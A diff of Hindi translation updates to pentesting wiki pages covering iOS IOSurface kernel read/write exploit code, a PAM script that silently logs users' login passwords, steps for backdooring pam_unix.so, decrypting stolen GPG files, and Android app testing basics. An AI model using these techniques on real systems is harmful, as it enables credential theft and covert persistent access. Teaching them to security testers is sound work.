इन pointers को overwrite करके हम इन्हें kernel memory के arbitrary addresses पर redirect कर सकते हैं, जिससे read/write क्षमताएँ सक्षम हो जाती हैं।
|
||||
|
||||
#### 32-Bit Kernel Read
|
||||
|
||||
पढ़ने के लिए:
|
||||
|
||||
1. Overwrite the **use count pointer** ताकि वह target address minus 0x14-बाइट offset को point करे।
|
||||
2. उस address पर मान पढ़ने के लिए `get_use_count` method का उपयोग करें।
|
||||
```c
|
||||
uint32_t get_use_count(io_connect_t client, uint32_t surfaceID) {
|
||||
uint64_t args[1] = {surfaceID};
|
||||
uint32_t size = 1;
|
||||
uint64_t out = 0;
|
||||
IOConnectCallMethod(client, 16, args, 1, 0, 0, &out, &size, 0, 0);
|
||||
return (uint32_t)out;
|
||||
}
|
||||
|
||||
uint32_t iosurface_kread32(uint64_t addr) {
|
||||
uint64_t orig = iosurface_get_use_count_pointer(info.object);
|
||||
iosurface_set_use_count_pointer(info.object, addr - 0x14); // Offset by 0x14
|
||||
uint32_t value = get_use_count(info.client, info.surface);
|
||||
iosurface_set_use_count_pointer(info.object, orig);
|
||||
return value;
|
||||
}
|
||||
```
|
||||
#### 64-Bit Kernel Write
|
||||
|
||||
लिखने के लिए:
|
||||
|
||||
1. **indexed timestamp pointer** को लक्षित पते पर ओवरराइट करें।
|
||||
2. `set_indexed_timestamp` method का उपयोग करके 64-bit मान लिखें।
|
||||
```c
|
||||
void set_indexed_timestamp(io_connect_t client, uint32_t surfaceID, uint64_t value) {
|
||||
uint64_t args[3] = {surfaceID, 0, value};
|
||||
IOConnectCallMethod(client, 33, args, 3, 0, 0, 0, 0, 0, 0);
|
||||
}
|
||||
|
||||
void iosurface_kwrite64(uint64_t addr, uint64_t value) {
|
||||
uint64_t orig = iosurface_get_indexed_timestamp_pointer(info.object);
|
||||
iosurface_set_indexed_timestamp_pointer(info.object, addr);
|
||||
set_indexed_timestamp(info.client, info.surface, value);
|
||||
iosurface_set_indexed_timestamp_pointer(info.object, orig);
|
||||
}
|
||||
```
|
||||
#### Exploit Flow Recap
|
||||
|
||||
1. **Trigger Physical Use-After-Free**: Free pages पुन: उपयोग के लिए उपलब्ध हो जाती हैं।
|
||||
2. **Spray IOSurface Objects**: kernel memory में एक unique "magic value" के साथ कई IOSurface objects allocate करें।
|
||||
3. **Identify Accessible IOSurface**: अपने नियंत्रित freed page पर मौजूद IOSurface को पहचानें।
|
||||
4. **Abuse Use-After-Free**: IOSurface object में pointers को modify करें ताकि IOSurface methods के माध्यम से arbitrary **kernel read/write** सक्षम हो सकें।
|
||||
|
||||
इन primitives के साथ, exploit नियंत्रित **32-bit reads** और **64-bit writes** kernel memory में प्रदान करता है। आगे के jailbreak चरणों में अधिक स्थिर read/write primitives शामिल हो सकते हैं, जिनके लिए अतिरिक्त सुरक्षा उपायों को बायपास करना पड़ सकता है (उदा., PPL on newer arm64e devices).
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
@ -4,23 +4,22 @@
|
||||
|
||||
## Sniffing Logon Passwords with PAM
|
||||
|
||||
आइए एक PAM मॉड्यूल कॉन्फ़िगर करें ताकि प्रत्येक उपयोगकर्ता द्वारा लॉगिन के लिए उपयोग किया गया हर पासवर्ड लॉग किया जा सके। यदि आप नहीं जानते कि PAM क्या है तो देखें:
|
||||
|
||||
आइए एक PAM मॉड्यूल कॉन्फ़िगर करें जो प्रत्येक उपयोगकर्ता द्वारा login के लिए उपयोग किया गया हर password लॉग करे। यदि आप नहीं जानते कि PAM क्या है तो देखें:
|
||||
|
||||
{{#ref}}
|
||||
pam-pluggable-authentication-modules.md
|
||||
{{#endref}}
|
||||
|
||||
**अधिक विवरण के लिए [original post](https://embracethered.com/blog/posts/2022/post-exploit-pam-ssh-password-grabbing/) देखें।** यह सिर्फ एक सारांश है:
|
||||
**For further details check the [original post](https://embracethered.com/blog/posts/2022/post-exploit-pam-ssh-password-grabbing/)**. यह केवल सारांश है:
|
||||
|
||||
**तकनीक का अवलोकन:**
|
||||
Pluggable Authentication Modules (PAM) Unix-based systems पर authentication प्रबंधन में लचीलापन प्रदान करते हैं। ये login प्रक्रियाओं को अनुकूलित करके सुरक्षा बढ़ा सकते हैं, लेकिन गलत इस्तेमाल होने पर जोखिम भी उत्पन्न कर सकते हैं। यह सारांश PAM का उपयोग करके login credentials कैप्चर करने की एक तकनीक और उसके निवारण रणनीतियों का खाका प्रस्तुत करता है।
|
||||
**Technique Overview:**
|
||||
Pluggable Authentication Modules (PAM) Unix-आधारित सिस्टम पर authentication को प्रबंधित करने में लचीलापन प्रदान करते हैं। ये login प्रक्रियाओं को अनुकूलित करके सुरक्षा बढ़ा सकते हैं, लेकिन दुरुपयोग होने पर जोखिम भी उत्पन्न कर सकते हैं। यह सारांश PAM का उपयोग करके login credentials को capture करने की एक technique और साथ में mitigation strategies को संक्षेप में बताता है।
|
||||
|
||||
**क्रेडेंशियल्स कैप्चर करना:**
|
||||
**Capturing Credentials:**
|
||||
|
||||
- एक bash स्क्रिप्ट नाम `toomanysecrets.sh` बनाई जाती है जो लॉगिन प्रयासों को लॉग करती है, तारीख, उपयोगकर्ता नाम (`$PAM_USER`), पासवर्ड (stdin के जरिए), और रिमोट होस्ट IP (`$PAM_RHOST`) को `/var/log/toomanysecrets.log` में दर्ज करती है।
|
||||
- स्क्रिप्ट को executable बनाया जाता है और `pam_exec.so` मॉड्यूल का उपयोग करके PAM कॉन्फ़िगरेशन (`common-auth`) में एकीकृत किया जाता है, जिसमें शांति से चलाने और authentication token को स्क्रिप्ट के लिए उजागर करने के विकल्प शामिल होते हैं।
|
||||
- यह तरीका दर्शाता है कि कैसे एक compromised Linux host का फायदा उठाकर credentials को गुप्त रूप से लॉग किया जा सकता है।
|
||||
- एक bash स्क्रिप्ट `toomanysecrets.sh` बनाई जाती है जो login attempts को लॉग करने के लिए date, username (`$PAM_USER`), password (stdin के जरिए), और remote host IP (`$PAM_RHOST`) को `/var/log/toomanysecrets.log` में capture करती है।
|
||||
- स्क्रिप्ट को executable बनाया जाता है और `pam_exec.so` module का उपयोग करके PAM configuration (`common-auth`) में integrate किया जाता है, विकल्पों के साथ ताकि यह चुपचाप चले और authentication token को स्क्रिप्ट के लिए expose किया जा सके।
|
||||
- यह तरीका दिखाता है कि कैसे एक compromised Linux host को exploit करके credentials को गुप्त रूप से log किया जा सकता है।
|
||||
```bash
|
||||
#!/bin/sh
|
||||
echo " $(date) $PAM_USER, $(cat -), From: $PAM_RHOST" >> /var/log/toomanysecrets.log
|
||||
@ -32,30 +31,30 @@ sudo chmod 700 /usr/local/bin/toomanysecrets.sh
|
||||
```
|
||||
### Backdooring PAM
|
||||
|
||||
**For further details check the [original post](https://infosecwriteups.com/creating-a-backdoor-in-pam-in-5-line-of-code-e23e99579cd9)**. यह सिर्फ एक सारांश है:
|
||||
**अधिक जानकारी के लिए [original post](https://infosecwriteups.com/creating-a-backdoor-in-pam-in-5-line-of-code-e23e99579cd9) देखें**। यह केवल एक सारांश है:
|
||||
|
||||
The Pluggable Authentication Module (PAM) एक सिस्टम है जो Linux के तहत user authentication के लिए उपयोग होता है। यह तीन मुख्य अवधारणाओं पर काम करता है: **username**, **password**, और **service**. प्रत्येक service के लिए configuration files `/etc/pam.d/` डायरेक्टरी में स्थित होती हैं, जहाँ shared libraries authentication को संभालती हैं।
|
||||
Pluggable Authentication Module (PAM) Linux के अंतर्गत उपयोगकर्ता प्रमाणीकरण के लिए उपयोग की जाने वाली एक प्रणाली है। यह तीन मुख्य अवधारणाओं पर काम करता है: **username**, **password**, और **service**। प्रत्येक सेवा के लिए configuration files `/etc/pam.d/` डायरेक्टरी में स्थित होती हैं, जहाँ shared libraries प्रमाणीकरण को संभालती हैं।
|
||||
|
||||
**Objective**: PAM में संशोधन करके एक विशेष password के साथ authentication की अनुमति देना, वास्तविक user password को बायपास करना। यह खासकर `pam_unix.so` shared library पर केंद्रित है जो `common-auth` फाइल द्वारा उपयोग होती है, और लगभग सभी services द्वारा password verification के लिए शामिल की जाती है।
|
||||
**उद्देश्य**: PAM को इस तरह संशोधित करना कि एक निर्दिष्ट password के साथ authentication की अनुमति दे, वास्तविक उपयोगकर्ता पासवर्ड को बाइपास करते हुए। यह विशेष रूप से `pam_unix.so` shared library पर केंद्रित है जिसका उपयोग `common-auth` फ़ाइल द्वारा किया जाता है, जिसे password verification के लिए लगभग सभी सेवाओं में शामिल किया जाता है।
|
||||
|
||||
### Steps for Modifying `pam_unix.so`:
|
||||
|
||||
1. **Locate the Authentication Directive** in the `common-auth` file:
|
||||
- वह लाइन जो किसी user के password की जाँच के लिए जिम्मेदार है, `pam_unix.so` को कॉल करती है।
|
||||
- वह लाइन जो उपयोगकर्ता का password जाँचती है, `pam_unix.so` को कॉल करती है।
|
||||
2. **Modify Source Code**:
|
||||
- `pam_unix_auth.c` source file में एक conditional कथन जोड़ें जो predefined password इस्तेमाल होने पर access देता है, अन्यथा सामान्य authentication प्रक्रिया के साथ आगे बढ़ता है।
|
||||
- `pam_unix_auth.c` source फ़ाइल में एक conditional statement जोड़ें जो यदि predefined password इस्तेमाल किया गया हो तो access दे दे; अन्यथा सामान्य authentication प्रक्रिया जारी रहे।
|
||||
3. **Recompile and Replace** the modified `pam_unix.so` library in the appropriate directory.
|
||||
4. **Testing**:
|
||||
- विभिन्न services (login, ssh, sudo, su, screensaver) पर predefined password के साथ access मिलती है, जबकि सामान्य authentication प्रक्रियाएँ प्रभावित नहीं होतीं।
|
||||
- predefined password के साथ विभिन्न सेवाओं (login, ssh, sudo, su, screensaver) में access मिलती है, जबकि सामान्य authentication प्रक्रियाएँ प्रभावित नहीं होतीं।
|
||||
|
||||
> [!TIP]
|
||||
> आप इस प्रक्रिया को ऑटोमेट कर सकते हैं: [https://github.com/zephrax/linux-pam-backdoor](https://github.com/zephrax/linux-pam-backdoor)
|
||||
> आप इस प्रक्रिया को [https://github.com/zephrax/linux-pam-backdoor](https://github.com/zephrax/linux-pam-backdoor) के साथ स्वचालित कर सकते हैं
|
||||
|
||||
## Decrypting GPG loot via homedir relocation
|
||||
## Homedir relocation के माध्यम से GPG loot को Decrypt करना
|
||||
|
||||
यदि आपको एक encrypted `.gpg` फाइल और एक user का `~/.gnupg` फोल्डर (pubring, private-keys, trustdb) मिलता है पर आप GnuPG homedir permissions/locks के कारण decrypt नहीं कर पा रहे हैं, तो keyring को किसी writable स्थान पर कॉपी करें और उसे अपने GPG home के रूप में उपयोग करें।
|
||||
यदि आप एक encrypted `.gpg` फ़ाइल और किसी उपयोगकर्ता का `~/.gnupg` फ़ोल्डर (pubring, private-keys, trustdb) पाते हैं लेकिन GnuPG homedir permissions/locks के कारण decrypt नहीं कर पा रहे हैं, तो keyring को किसी writable location पर कॉपी करें और उसे अपना GPG home के रूप में उपयोग करें।
|
||||
|
||||
बिना यह करने पर सामान्य त्रुटियाँ जो आप देखेंगे: "unsafe ownership on homedir", "failed to create temporary file", या "decryption failed: No secret key" (क्योंकि GPG मूल homedir को read/write नहीं कर सकता)।
|
||||
बिना इस कदम के आम त्रुटियाँ जो दिखाई देंगी: "unsafe ownership on homedir", "failed to create temporary file", या "decryption failed: No secret key" (क्योंकि GPG मूल homedir को पढ़/लिख नहीं सकता)।
|
||||
|
||||
Workflow:
|
||||
```bash
|
||||
@ -70,9 +69,9 @@ GNUPGHOME=/dev/shm/fakehome/.gnupg gpg -d /home/victim/backup/secrets.gpg
|
||||
# or
|
||||
gpg --homedir /dev/shm/fakehome/.gnupg -d /home/victim/backup/secrets.gpg
|
||||
```
|
||||
यदि गुप्त कुंजी सामग्री `private-keys-v1.d` में मौजूद है, तो GPG पासफ़्रेज़ के बिना अनलॉक और डिक्रिप्ट कर देगा (या यदि कुंजी सुरक्षित है तो यह पूछेगा)।
|
||||
यदि गुप्त कुंजी सामग्री `private-keys-v1.d` में मौजूद है, तो GPG बिना passphrase के पूछे unlock और decrypt कर देगा (या यदि key protected है तो यह prompt करेगा)।
|
||||
|
||||
## संदर्भ
|
||||
## References
|
||||
|
||||
- [0xdf – HTB Environment (GPG homedir relocation to decrypt loot)](https://0xdf.gitlab.io/2025/09/06/htb-environment.html)
|
||||
- [GnuPG Manual – Home directory and GNUPGHOME](https://www.gnupg.org/documentation/manuals/gnupg/GPG-Configuration-Options.html#index-homedir)
|
||||
|
||||
File diff suppressed because it is too large
Load Diff
@ -2,9 +2,9 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Android Applications Basics
|
||||
## Android Applications की मूल बातें
|
||||
|
||||
यह पेज पढ़ना अत्यधिक अनुशंसित है ताकि आप **Android सुरक्षा से संबंधित सबसे महत्वपूर्ण भाग और किसी Android application में मौजूद सबसे खतरनाक कंपोनेंट्स** के बारे में जान सकें:
|
||||
यह पृष्ठ पढ़ना अत्यधिक अनुशंसित है ताकि आप **Android सुरक्षा से संबंधित सबसे महत्वपूर्ण हिस्सों और किसी Android एप्लिकेशन में सबसे खतरनाक कम्पोनेंट्स** के बारे में जान सकें:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -13,15 +13,15 @@ android-applications-basics.md
|
||||
|
||||
## ADB (Android Debug Bridge)
|
||||
|
||||
यह उस मुख्य उपकरण है जिसकी आपको किसी Android device (emulated or physical) से कनेक्ट करने के लिए आवश्यकता होती है.\
|
||||
**ADB** आपको कंप्यूटर से **USB** या **Network** के माध्यम से डिवाइस नियंत्रित करने की अनुमति देता है। यह यूटिलिटी दोनों दिशाओं में फ़ाइलों की **copying**, apps के **installation** और **uninstallation**, shell commands का **execution**, डेटा का **backing up**, लॉग्स का **reading**, और अन्य कार्यों की सुविधा देता है।
|
||||
यह उस मुख्य उपकरण में से है जिसकी आपको एक android डिवाइस (emulated या physical) से कनेक्ट करने के लिए आवश्यकता होती है.\
|
||||
**ADB** आपको कंप्यूटर से **USB** या **Network** के माध्यम से डिवाइस नियंत्रित करने की अनुमति देता है। यह utility दोनों दिशाओं में फ़ाइलों के **copying**, apps की **installation** और **uninstallation**, shell commands का **execution**, डेटा का **backing up**, logs का **reading**, और अन्य कार्य करने में सक्षम बनाता है।
|
||||
|
||||
ADB उपयोग करने का तरीका जानने के लिए निम्नलिखित सूची [**ADB Commands**](adb-commands.md) देखें।
|
||||
adb का उपयोग कैसे करना है यह जानने के लिए निम्नलिखित [**ADB Commands**](adb-commands.md) की सूची देखें।
|
||||
|
||||
## Smali
|
||||
|
||||
कभी-कभी यह उपयोगी होता है कि आप **application code को modify करें** ताकि **hidden information** (शायद अच्छी तरह obfuscated passwords या flags) तक पहुँच सकें। फिर, APK को decompile करना, कोड modify करना और उसे फिर से recompile करना रोचक हो सकता है.\
|
||||
[**In this tutorial** you can **learn how to decompile and APK, modify Smali code and recompile the APK** with the new functionality](smali-changes.md). यह dynamic analysis के दौरान किए जाने वाले कई परीक्षणों के लिए एक **alternative for several tests during the dynamic analysis** के रूप में बहुत उपयोगी हो सकता है। इसलिए, इस संभावना को **हमेशा ध्यान में रखें**।
|
||||
कभी-कभी यह उपयोगी होता है कि आप **application code को modify** करें ताकि आप **hidden information** तक पहुँच सकें (शायद अच्छी तरह obfuscated passwords या flags)। ऐसी स्थिति में apk को decompile करना, कोड modify करना और फिर उसे recompile करना दिलचस्प हो सकता है.\
|
||||
[**In this tutorial** you can **learn how to decompile and APK, modify Smali code and recompile the APK** with the new functionality](smali-changes.md). यह dynamic analysis के दौरान प्रस्तुत किए जाने वाले कई tests के लिए एक वैकल्पिक तरीका हो सकता है। इसलिए, हमेशा इस संभावना को ध्यान में रखें।
|
||||
|
||||
## Other interesting tricks
|
||||
|
||||
@ -30,7 +30,7 @@ ADB उपयोग करने का तरीका जानने के
|
||||
- [Exploiting Insecure In-App Update Mechanisms](insecure-in-app-update-rce.md)
|
||||
- [Abusing Accessibility Services (Android RAT)](accessibility-services-abuse.md)
|
||||
- **Download APKs**: [https://apps.evozi.com/apk-downloader/](https://apps.evozi.com/apk-downloader/), [https://apkpure.com/es/](https://apkpure.com/es/), [https://www.apkmirror.com/](https://www.apkmirror.com), [https://apkcombo.com/es-es/apk-downloader/](https://apkcombo.com/es-es/apk-downloader/), [https://github.com/kiber-io/apkd](https://github.com/kiber-io/apkd)
|
||||
- डिवाइस से APK निकालें:
|
||||
- डिवाइस से APK निकालना:
|
||||
```bash
|
||||
adb shell pm list packages
|
||||
com.android.insecurebankv2
|
||||
@ -49,7 +49,7 @@ java -jar ../APKEditor.jar m -i splits/ -o merged.apk
|
||||
# after merging, you will need to align and sign the apk, personally, I like to use the uberapksigner
|
||||
java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed
|
||||
```
|
||||
## केस स्टडीज़ और कमजोरियाँ
|
||||
## Case Studies & Vulnerabilities
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -63,39 +63,39 @@ java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed
|
||||
|
||||
## Static Analysis
|
||||
|
||||
सबसे पहले, एक APK का विश्लेषण करते समय आपको decompiler का उपयोग करके **Java code** को देखना चाहिए।\
|
||||
Please, [**read here to find information about different available decompilers**](apk-decompilers.md).
|
||||
सबसे पहले, APK का विश्लेषण करने के लिए आपको **Java code** को decompiler का उपयोग करके देखना चाहिए।\
|
||||
कृपया, [**read here to find information about different available decompilers**](apk-decompilers.md).
|
||||
|
||||
### दिलचस्प जानकारी की तलाश
|
||||
### Looking for interesting Info
|
||||
|
||||
APK की **strings** को देखकर आप **passwords**, **URLs** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)), **api** keys, **encryption**, **bluetooth uuids**, **tokens** और किसी भी रोचक चीज़ की खोज कर सकते हैं... कोड निष्पादन के लिए कोई **backdoors** या authentication backdoors (app में hardcoded admin credentials) भी खोजें।
|
||||
APK की **strings** को देखकर आप **passwords**, **URLs** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)), **api** keys, **encryption**, **bluetooth uuids**, **tokens** और किसी भी दिलचस्प चीज़ की तलाश कर सकते हैं... कोड execution के **backdoors** या authentication backdoors (hardcoded admin credentials to the app) की भी जांच करें।
|
||||
|
||||
**Firebase**
|
||||
|
||||
विशेष ध्यान दें **firebase URLs** पर और जाँचें कि क्या यह गलत तरीके से configured है। [More information about whats is FIrebase and how to exploit it here.](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md)
|
||||
firebase URLs पर विशेष ध्यान दें और चेक करें कि क्या यह गलत कॉन्फ़िगर है। [More information about whats is FIrebase and how to exploit it here.](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md)
|
||||
|
||||
### Basic understanding of the application - Manifest.xml, strings.xml
|
||||
|
||||
किसी एप्लिकेशन की _Manifest.xml_ और _strings.xml_ फ़ाइलों की **जाँच संभावित सुरक्षा कमजोरियाँ उजागर कर सकती है**। इन फ़ाइलों तक decompilers का उपयोग कर के या APK का file extension .zip में बदलकर और फिर unzip करके पहुँचा जा सकता है।
|
||||
किसी एप्लिकेशन की _Manifest.xml_ और **_strings.xml_** फ़ाइलों की जांच संभावित सुरक्षा कमजोरियों का पता लगा सकती है। इन्हें decompilers से एक्सेस किया जा सकता है या APK की फ़ाइल एक्सटेंशन को .zip में rename करके unzip किया जा सकता है।
|
||||
|
||||
**Manifest.xml** से पहचानी जाने वाली कमजोरियाँ शामिल हैं:
|
||||
|
||||
- **Debuggable Applications**: ऐसे Applications जो _Manifest.xml_ में `debuggable="true"` के रूप में सेट हैं जोखिम पैदा करते हैं क्योंकि ये कनेक्शन्स की अनुमति देते हैं जो exploitation की ओर ले जा सकते हैं। debuggable applications को ढूँढने और exploit करने के बारे में समझने के लिए एक tutorial देखें।
|
||||
- **Backup Settings**: संवेदनशील जानकारी संभालने वाले applications के लिए `android:allowBackup="false"` attribute को स्पष्ट रूप से सेट किया जाना चाहिए ताकि adb के माध्यम से अनधिकृत डेटा backups को रोका जा सके, खासकर जब usb debugging सक्षम हो।
|
||||
- **Network Security**: कस्टम network security configurations (`android:networkSecurityConfig="@xml/network_security_config"`) जो _res/xml/_ में होते हैं certificate pins और HTTP traffic सेटिंग्स जैसी सुरक्षा जानकारी निर्दिष्ट कर सकते हैं। एक उदाहरण विशिष्ट डोमेनों के लिए HTTP traffic की अनुमति देना है।
|
||||
- **Exported Activities and Services**: Manifest में exported activities और services की पहचान ऐसे कम्पोनेंट्स को उजागर कर सकती है जिन्हें गलत तरीके से misuse किया जा सकता है। dynamic testing के दौरान आगे की जांच यह बतायेगी कि इन कम्पोनेंट्स को कैसे exploit किया जा सकता है।
|
||||
- **Content Providers and FileProviders**: एक्सपोज़्ड content providers अनधिकृत पहुँच या डेटा में संशोधन की अनुमति दे सकते हैं। FileProviders की configuration भी ध्यान से जाँची जानी चाहिए।
|
||||
- **Broadcast Receivers and URL Schemes**: ये कम्पोनेंट्स exploitation के लिए उपयोग किए जा सकते हैं, विशेष ध्यान URL schemes के प्रबंधन पर रखें ताकि input vulnerabilities न हों।
|
||||
- **SDK Versions**: `minSdkVersion`, `targetSDKVersion`, और `maxSdkVersion` attributes यह बताती हैं कि कौन से Android versions समर्थित हैं, और यह दर्शाता है कि सुरक्षा कारणों से पुराने, vulnerable Android versions का समर्थन न करना क्यों महत्वपूर्ण है।
|
||||
- **Debuggable Applications**: Manifest.xml में एप्लिकेशन यदि `debuggable="true"` के रूप में सेट हैं तो वे जोखिम पैदा करते हैं क्योंकि वे ऐसे कनेक्शन की अनुमति देते हैं जो exploit की ओर ले जा सकते हैं। debuggable applications को ढूँढने और exploit करने के बारे में समझने के लिए संबंधित ट्यूटोरियल देखें।
|
||||
- **Backup Settings**: संवेदनशील जानकारी संभालने वाले एप्लिकेशनों के लिए `android:allowBackup="false"` attribute को स्पष्ट रूप से सेट किया जाना चाहिए ताकि adb के माध्यम से अनधिकृत डेटा backups रोके जा सकें, विशेषकर जब usb debugging enabled हो।
|
||||
- **Network Security**: कस्टम network security configurations (`android:networkSecurityConfig="@xml/network_security_config"`) जो _res/xml/_ में होते हैं, certificate pins और HTTP ट्रैफिक सेटिंग्स जैसे सुरक्षा विवरण निर्दिष्ट कर सकते हैं। उदाहरण के तौर पर कुछ domains के लिए HTTP ट्रैफिक की अनुमति देना।
|
||||
- **Exported Activities and Services**: Manifest में exported activities और services की पहचान करने से ऐसे components सामने आ सकते हैं जिन्हें गलत तरीके से उपयोग किया जा सकता है। dynamic testing के दौरान आगे की जांच से यह पता चल सकता है कि इन components का कैसे exploit किया जा सकता है।
|
||||
- **Content Providers and FileProviders**: एक्सपोज़्ड content providers अनधिकृत पहुँच या डेटा में संशोधन की अनुमति दे सकते हैं। FileProviders की configuration को भी अच्छी तरह से जांचा जाना चाहिए।
|
||||
- **Broadcast Receivers and URL Schemes**: ये components exploitation के लिए इस्तेमाल किए जा सकते हैं, विशेषकर यह देखना कि URL schemes input के लिए कैसे manage किए जा रहे हैं।
|
||||
- **SDK Versions**: `minSdkVersion`, `targetSDKVersion`, और `maxSdkVersion` attributes यह दर्शाते हैं कि कौन से Android versions सपोर्ट किए जाते हैं, जो यह बताता है कि पुराने, vulnerable Android versions का समर्थन न करना महत्वपूर्ण है।
|
||||
|
||||
**strings.xml** फ़ाइल से संवेदनशील जानकारी जैसे API keys, custom schemas, और अन्य developer notes मिल सकती हैं, जो इन resources की सावधानीपूर्वक समीक्षा की आवश्यकता को रेखांकित करता है।
|
||||
**strings.xml** फ़ाइल से, संवेदनशील जानकारी जैसे API keys, custom schemas, और अन्य developer notes का पता चल सकता है, जो इन resources की सावधानीपूर्वक समीक्षा की आवश्यकता को रेखांकित करता है।
|
||||
|
||||
### Tapjacking
|
||||
|
||||
Tapjacking एक ऐसा हमला है जहाँ एक malicious application लॉन्च की जाती है और victim application के ऊपर खुद को position कर लेती है। जब यह victim app को दृश्य रूप से अस्पष्ट कर देती है, तो इसका user interface इस तरह डिज़ाइन किया जाता है कि यूज़र को इसके साथ interact करने में धोखा दिया जाए, जबकि यह interaction victim app को pass कर देती है।\
|
||||
प्रभावतः यह यूज़र को अंधा कर देता है कि वे वास्तव में victim app पर कार्य कर रहे हैं।
|
||||
**Tapjacking** एक हमला है जहाँ एक **malicious** **application** लॉन्च होती है और **victim application के ऊपर खुद को पोज़िशन कर लेती है**। जब यह victim app को दृष्टि से छुपा देती है, तो इसका UI इस तरह डिजाइन किया जाता है कि यह उपयोगकर्ता को धोखा दे कर उस पर इंटरैक्ट करवा ले, जबकि यह इंटरैक्शन को victim app को पास कर रहा होता है।\
|
||||
परिणामस्वरूप, यह **उपयोगकर्ता को अंधा कर देता है कि वे वास्तव में victim app पर ही काम कर रहे हैं**।
|
||||
|
||||
अधिक जानकारी के लिए देखें:
|
||||
Find more information in:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -104,55 +104,55 @@ tapjacking.md
|
||||
|
||||
### Task Hijacking
|
||||
|
||||
एक activity जिसका `launchMode` `singleTask` पर सेट है और किसी भी `taskAffinity` को परिभाषित नहीं किया गया है वह task Hijacking के लिए vulnerable होती है। इसका मतलब है कि एक malicious application इंस्टॉल की जा सकती है और यदि उसे असली application से पहले लॉन्च किया गया तो यह असली application के task को hijack कर सकती है (तो यूज़र यह सोचकर malicious application के साथ interact करेगा कि वह असली एप का उपयोग कर रहा है)।
|
||||
एक **activity** जिसका **`launchMode`** **`singleTask`** पर सेट है और कोई `taskAffinity` defined नहीं है, वह Task Hijacking के लिए vulnerable होती है। इसका मतलब है कि एक **malicious application** इंस्टॉल की जा सकती है और यदि इसे असली एप्लिकेशन से पहले लॉन्च किया जाए तो यह **असली एप्लिकेशन के task को hijack कर सकती है** (जिससे उपयोगकर्ता यह सोचकर कि वह असली ऐप उपयोग कर रहा है, **malicious application** के साथ interact करेगा)।
|
||||
|
||||
अधिक जानकारी के लिए देखें:
|
||||
More info in:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
android-task-hijacking.md
|
||||
{{#endref}}
|
||||
|
||||
### असुरक्षित डेटा स्टोरेज
|
||||
### Insecure data storage
|
||||
|
||||
**Internal Storage**
|
||||
|
||||
Android में, आंतरिक storage में संग्रहीत फ़ाइलें सामान्यतः उन्हीं apps द्वारा पहुँच योग्य होने के लिए डिज़ाइन की गई हैं जिन्होंने उन्हें बनाया है। यह सुरक्षा उपाय Android operating system द्वारा लागू किया जाता है और अधिकांश एप्लिकेशन की सुरक्षा आवश्यकताओं के लिए पर्याप्त होता है। फिर भी, डेवलपर कभी-कभी `MODE_WORLD_READABLE` और `MODE_WORLD_WRITABLE` जैसे मोड का उपयोग करते हैं ताकि फ़ाइलें विभिन्न applications के बीच साझा की जा सकें। ये मोड अन्य applications, जिनमें संभावित रूप से malicious ones भी शामिल हैं, के लिए इन फ़ाइलों तक unrestricted access की अनुमति दे सकते हैं।
|
||||
Android में, internal storage में रखी फ़ाइलें उस ऐप के द्वारा बनाई गई फ़ाइलों तक ही पहुँच के लिए डिज़ाइन की गई होती हैं। यह सुरक्षा उपाय Android operating system द्वारा लागू किया जाता है और अधिकांश अनुप्रयोगों की सुरक्षा आवश्यकताओं के लिए सामान्यतः पर्याप्त होता है। हालांकि, डेवलपर्स कभी-कभी `MODE_WORLD_READABLE` और `MODE_WORLD_WRITABLE` जैसे modes का उपयोग करते हैं ताकि फाइलें अलग-अलग एप्लिकेशनों के बीच साझा की जा सकें। ये modes इन फाइलों तक अन्य एप्लिकेशनों, संभवतः malicious एप्लिकेशनों की भी पहुँच को रोकते नहीं हैं।
|
||||
|
||||
1. **Static Analysis:**
|
||||
- **सुनिश्चित करें** कि `MODE_WORLD_READABLE` और `MODE_WORLD_WRITABLE` के उपयोग की **सावधानीपूर्वक जांच** की गयी हो। ये मोड फ़ाइलों को **अनचाही या अनधिकृत पहुँच** के लिए उजागर कर सकते हैं।
|
||||
- `MODE_WORLD_READABLE` और `MODE_WORLD_WRITABLE` के उपयोग की सावधानीपूर्वक जांच सुनिश्चित करें। ये modes फाइलों को अनजाने या अनधिकृत पहुँच के लिए उजागर कर सकते हैं।
|
||||
2. **Dynamic Analysis:**
|
||||
- ऐप द्वारा बनाई गई फ़ाइलों पर सेट किए गए **permissions** की **जाँच** करें। विशेष रूप से, देखें कि क्या कोई फ़ाइलें worldwide readable या writable के रूप में सेट की गई हैं। यह एक गंभीर सुरक्षा जोखिम हो सकता है, क्योंकि इससे किसी भी installed application को, उसके स्रोत या इरादे की परवाह किए बिना, इन फ़ाइलों को **read या modify** करने की अनुमति मिल जाएगी।
|
||||
- ऐप द्वारा बनाए गए फ़ाइलों पर सेट की गई permissions की पुष्टि करें। विशेष रूप से चेक करें कि क्या कोई फ़ाइलें worldwide पढ़ने योग्य या लिखने योग्य सेट की गई हैं। यह एक गंभीर सुरक्षा जोखिम हो सकता है, क्योंकि इससे डिवाइस पर इंस्टॉल कोई भी एप्लिकेशन, उसकी उत्पत्ति या इरादे की परवाह किए बिना, इन फ़ाइलों को पढ़ या संशोधित कर सकता है।
|
||||
|
||||
**External Storage**
|
||||
|
||||
SD Cards जैसे external storage पर फ़ाइलों के साथ काम करते समय कुछ सावधानियाँ बरतनी चाहिए:
|
||||
|
||||
1. **Accessibility**:
|
||||
- External storage पर फ़ाइलें **global रूप से readable और writable** होती हैं। इसका अर्थ है किसी भी application या यूज़र द्वारा इन फ़ाइलों तक पहुँच संभव है।
|
||||
- external storage पर फ़ाइलें globally readable और writable होती हैं। इसका अर्थ है कि कोई भी एप्लिकेशन या उपयोगकर्ता इन फ़ाइलों तक पहुँच सकता है।
|
||||
2. **Security Concerns**:
|
||||
- इस आसान पहुँच के कारण, संवेदनशील जानकारी को external storage पर स्टोर नहीं करना चाहिए।
|
||||
